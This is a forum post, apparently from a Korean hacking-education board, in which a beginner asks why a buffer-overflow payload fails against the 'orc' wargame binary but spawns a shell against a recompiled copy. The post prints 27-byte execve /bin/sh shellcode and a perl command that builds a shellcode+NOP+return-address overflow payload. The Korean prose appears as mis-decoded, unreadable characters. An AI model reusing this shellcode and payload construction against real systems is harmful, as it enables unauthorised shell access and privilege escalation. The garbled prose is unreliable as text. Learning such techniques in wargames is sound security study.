|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1661 [º¹»ç]
¾È³çÇϼ¼¿ä. BOF ¿øÁ¤´ë Ç®°í ÀÖ´Â Ãʺ¸ÀÔ´Ï´Ù.
¿À´Ã ÇÏ·çÁ¾ÀÏ ÀÌ ¹®Á¦¿¡ ¸Þ´Þ·È¾ú½À´Ï´Ù.
Ç®±ä Çߴµ¥ ÀÌÇØ°¡ ¾È °¡´Â °ÍÀÌ ÀÖ¾î¼ ¿©Â޾´Ï´Ù.
Á¦°¡ »ç¿ëÇß´ø ½©ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù.
\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80
ÀÌ ½©Äڵ尡 27 ¹ÙÀÌÆ®Â¥¸®¶ó¼ ´ÙÀ½°ú °°ÀÌ ¹öÆÛ¸¦ ¾º¿ü½À´Ï´Ù.
½©ÄÚµå(27 ¹ÙÀÌÆ®) + NOP(17 ¹ÙÀÌÆ®) + RET(4 ¹ÙÀÌÆ®)
RET´Â bufferÀÇ ÁÖ¼Ò°¡ µÇµµ·Ï Çß°í¿ä. ÀÌ´Â orc.c À» º¹»çÇØ¼ buffer À§Ä¡¸¦ Ãâ·ÂÇÏ´Â Äڵ带 Ãß°¡Çؼ ±¸Çß½À´Ï´Ù.
±×·¡¼ ´ÙÀ½°ú °°ÀÌ ½ÇÇàÇß´õ´Ï
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`
Segmentation fault °¡ ¶¹½À´Ï´Ù.
ù¹øÂ° Áú¹®Àº ¿©±â¼ ¿Ö Àú ¿¡·¯°¡ ¶¹´Â°¡ÀÔ´Ï´Ù.
¾Æ±î orc.c À» º¹»çÇÏ°í »õ·Î ÄÄÆÄÀÏÀ» Çß´Ù°í Çߴµ¥ ±× ÆÄÀÏ À̸§ÀÌ orc1 ÀÔ´Ï´Ù.
µÎ¹øÂ° Áú¹®Àº
[goblin@localhost goblin]$ ./orc1 `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`
À» ½ÇÇàÇϸé goblin ±ÇÇÑÀ¸·ÎÁö¸¸ ½©Äڵ尡 ÀÛµ¿Çؼ ½©ÀÌ ¶á´Ù´Â °ÍÀÔ´Ï´Ù.
¿Ö orc1¿¡¼´Â µÇ°í orc¿¡¼´Â ¾È µÉ±î¿ä?
°¨»çÇÕ´Ï´Ù. |
Hit : 3397 Date : 2013/04/05 12:22
|